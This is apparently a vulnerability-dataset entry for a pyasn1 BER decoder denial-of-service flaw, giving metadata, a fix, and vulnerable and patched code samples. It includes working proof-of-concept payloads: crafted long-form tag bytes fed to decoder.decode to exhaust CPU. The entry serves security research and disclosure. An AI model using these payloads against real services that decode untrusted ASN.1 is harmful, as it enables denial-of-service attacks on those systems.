CVE-2026-59884
pyasn1 BER decoder allows crafted input to cause a DoS via tag parsing.
- CVSS 7.5
- CWE-400
- Resource Management
- Remote
pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.4, the BER decoder shared by the CER and DER codecs parses long-form tags by accumulating continuation octets without an upper bound on the tag ID size, allowing a crafted input to force construction of an arbitrarily large integer with CPU cost growing quadratically and to trigger unhandled ValueError exceptions in Python 3.11+ error formatting paths. Any application decoding untrusted BER, CER, or DER input is affected. This issue is fixed in version 0.6.4.
- CWE
- CWE-400
- CVSS base score
- 7.5
- Published
- 2026-07-14
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- pyasn1
- Fixed by upgrading
- Yes
Solution
Upgrade pyasn1 to version 0.6.4 or later.
Vulnerable code sample
from pyasn1.codec.ber import decoder
# On vulnerable versions of pyasn1 (<0.6.4), the following code
# will consume excessive CPU resources due to the construction of a very
# large integer from a crafted long-form tag. This can lead to a
# Denial of Service.
# Craft a malicious payload with a very long tag identifier.
# Tag starts with 0x9F (Context-specific, long-form).
# It's followed by a large number of continuation octets (0xFF).
# The decoder accumulates these without a limit.
malicious_payload = b'\x9f' + (b'\xff' * 200000) + b'\x01\x01\x00'
# This call triggers the vulnerability.
# In Python 3.11+, it may eventually raise a ValueError after high CPU usage.
# In older Python versions, it may just hang.
decoder.decode(malicious_payload)Patched code sample
import sys
# In the actual library, this limit is defined at the module level.
# It protects against CPU-intensive computation of maliciously large tag IDs.
MAX_TAG_ID_OCTETS = 64
class BerDecoderError(Exception):
pass
def fixed_decode_long_tag(substrate_bytes):
"""
This function represents the fixed logic from pyasn1's BER decoder.
It processes continuation octets for a long-form ASN.1 tag and includes
a boundary check to prevent denial-of-service attacks.
"""
tag_id = 0
octet_count = 0
while octet_count < len(substrate_bytes):
octet = substrate_bytes[octet_count]
octet_count += 1
# The core of the vulnerability fix: an upper bound on processed octets.
# The vulnerable code lacked this check, allowing an infinite loop for
# crafted input.
if octet_count > MAX_TAG_ID_OCTETS:
raise BerDecoderError(
f"Tag identifier is too large (> {MAX_TAG_ID_OCTETS} octets)"
)
# Accumulate the 7-bit parts of the tag ID
tag_id = (tag_id << 7) | (octet & 0x7F)
# If the most significant bit is 0, this is the last octet for the tag
if not (octet & 0x80):
return tag_id
# If the loop ends but the last octet indicated a continuation, it's an error
raise BerDecoderError("Malformed tag: unterminated sequence")Payload
from pyasn1.codec.ber import decoder
# Payload with a long-form tag consisting of a large number of continuation octets.
# This forces the creation of a very large integer, leading to excessive CPU usage
# and a potential ValueError on Python 3.11+.
# Structure: [Tag Start: 0x1F] [Continuation Octets: 0x81 * N] [Tag End: 0x01] [Length: 0x00]
payload = b'\x1f' + (b'\x81' * 200000) + b'\x01\x00'
decoder.decode(payload)
Cite this entry
@misc{vaitp:cve202659884,
title = {{pyasn1 BER decoder allows crafted input to cause a DoS via tag parsing.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-59884},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-59884/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
